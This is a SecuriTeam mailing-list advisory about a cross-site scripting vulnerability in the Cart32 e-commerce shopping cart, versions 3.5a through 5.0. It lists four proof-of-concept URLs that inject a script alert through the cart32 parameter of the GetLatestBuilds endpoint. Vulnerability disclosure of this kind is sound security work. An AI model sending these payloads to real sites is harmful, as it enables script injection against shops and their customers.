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SUMMARY

 <http://www.cart32.com/products.asp#Cart32> Cart32 is "a shopping cart
system for the e−commerce market". Cart32 has been found to contain a
cross site scripting vulnerability allowing a remote attacker to insert
third party content in to the web site.

DETAILS

Vulnerable Systems:
 * Cart32 version 3.5a
 * Cart32 version 4.5
 * Cart32 version 5.0

Examples:
Any of the following URLs can be used to trigger the vulnerability:
http://vulnerable/scripts/cart32.exe/GetLatestBuilds?cart32=>alert('XSS')</script>
http://vulnerable/scripts/c32web.exe/GetLatestBuilds?cart32=>alert('XSS')</script>
http://vulnerable/cgi−bin/cart32.exe/GetLatestBuilds?cart32=>alert('XSS')</script>
http://vulnerable/cgi−bin/c32web.exe/GetLatestBuilds?cart32=>alert('XSS')</script>

ADDITIONAL INFORMATION
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The information has been provided by <mailto:drponidi@hackermail.com> Dr
Ponidi.
The original article can be found at:
<http://drponidi.5u.com/advisory.htm> http://drponidi.5u.com/advisory.htm

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.
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